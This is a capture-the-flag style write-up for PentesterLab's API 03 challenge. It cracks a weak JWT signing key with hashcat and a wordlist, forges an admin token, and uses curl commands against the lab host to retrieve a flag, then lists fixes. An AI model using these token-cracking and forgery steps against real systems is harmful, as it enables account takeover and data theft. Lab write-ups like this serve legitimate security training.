API 03: JWT Cracking - Weak Secret Key

Description: In this video, we explore the challenge API_03 from the API badge on PentesterLab. We demonstrate how to crack a weak JWT secret key to forge tokens and access other users' secrets.

1. Context & Situation#

Target: API 03 (Secrets Endpoint)

Initial Problem: I tried to access secret 1 with my token (user ID 2). When I sent the request:

• Result: 403 Forbidden.
• Why? My token has "id": 2, but I need "id": 1 to access the admin's secret.

2. The Vulnerability#

Type: JWT Weak Secret Key (Brute Force Attack).

Impact: I can crack the secret key used to sign tokens, then create my own valid tokens for any user (admin, user ID 1, etc.).

3. The Goal#

To find the secret key used by the server to sign JWT tokens. Once I have the key, I can create a valid signature for any payload I want.

4. The Tools#

Tools Used:

• hashcat or john (for cracking the secret key)
• jwt.io or Python script (for generating new tokens)

5. The Attack Steps (How to reproduce)#

Step 1: Get a Valid Token#

First, I logged in to get my legit token for user ID 2.

• Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiZXhwIjoxNzczNTE3MDgwfQ.Rq4_YW8n7XLtn22rmFSFKMgFQaGQ2XSSBlfS_Dxk10Y
• Token Payload: {"id": 2, "exp": 1773517080}

Step 2: Test Access to Secret 1#

I tried to access secret 1 with my current token.

• Command:

  bashCopy

  curl -I 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \
  -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiZXhwIjoxNzczNTE3MDgwfQ.Rq4_YW8n7XLtn22rmFSFKMgFQaGQ2XSSBlfS_Dxk10Y'

• Result: 403 Forbidden.
• Lesson: I don't have permission to access secret 1. The server is checking the user ID in the token.

Step 3: The Failed Attempt (Testing "None" Algorithm)#

I tried the "none" algorithm trick from the previous challenge.

• Token with "none": eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiZXhwIjoxNzY4MzM2ODcwfQ.
• Command:

  bashCopy

  curl -I 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \
  -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiZXhwIjoxNzY4MzM2ODcwfQ.'

• Result: 401 Unauthorized.
• Lesson: This server is secure! It doesn't accept the "none" algorithm. We need a different approach.

Step 4: Crack the Secret Key#

Since the server requires a valid signature, I need to find the secret key.

I used a tool to brute force the key:

hashcat -a 0 -m 16500 <token> /usr/share/wordlists/rockyou.txt

Result Found: The secret key is "secret" (very weak password!).

Step 5: Generate a New Valid Token#

Now that I have the secret key, I can create my own token.

New Payload:

{
  "id": 1,
  "exp": 1768337725
}

I used jwt.io or a Python script to generate the token with:

• Algorithm: HS256
• Secret Key: "secret"
• Payload: {"id": 1, "exp": 1768337725}

New Token Generated:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwiZXhwIjoxNzY4MzM3NzI1fQ.pVYi2E_8ZDplpU6sJn1cRMLOBIKBW33UW-pPXBw-H_8

Step 6: Sending the Attack#

I sent the new forged token:

• Command:

  bashCopy

  curl -I 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \
  -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwiZXhwIjoxNzY4MzM3NzI1fQ.pVYi2E_8ZDplpU6sJn1cRMLOBIKBW33UW-pPXBw-H_8'

• Result: 200 OK - Success!

Step 7: Get the Secret#

Now I can fetch the admin's secret:

curl 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \
-H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwiZXhwIjoxNzY4MzM3NzI1fQ.pVYi2E_8ZDplpU6sJn1cRMLOBIKBW33UW-pPXBw-H_8'

Response:

{
  "secret": {
    "id": 1,
    "name": "CTF_KEY",
    "value": "flag{Welcom_to_Anas_Education}",
    "createdAt": "2026-01-13T19:25:43.528Z",
    "updatedAt": "2026-01-13T19:25:43.557Z",
    "owner": {
      "username": "admin",
      "bio": null
    }
  }
}

6. What We Learned#

The Vulnerability: The server used a very weak secret key ("secret") to sign JWT tokens. This allowed me to crack the key using a simple wordlist attack.

Why This Works:

• JWT tokens signed with HS256 are only as secure as the secret key.
• Weak keys can be cracked in seconds with modern tools.
• Once you have the key, you can forge any token you want.

7. How to Fix This#

Proper Security:

1. Use a strong, random secret key (at least 256 bits of random data).
2. Never use common words or passwords as secret keys.
3. Consider using RS256 (public/private key) instead of HS256.
4. Rotate secret keys regularly.
5. Implement rate limiting to prevent brute force attacks.

Lab Completed!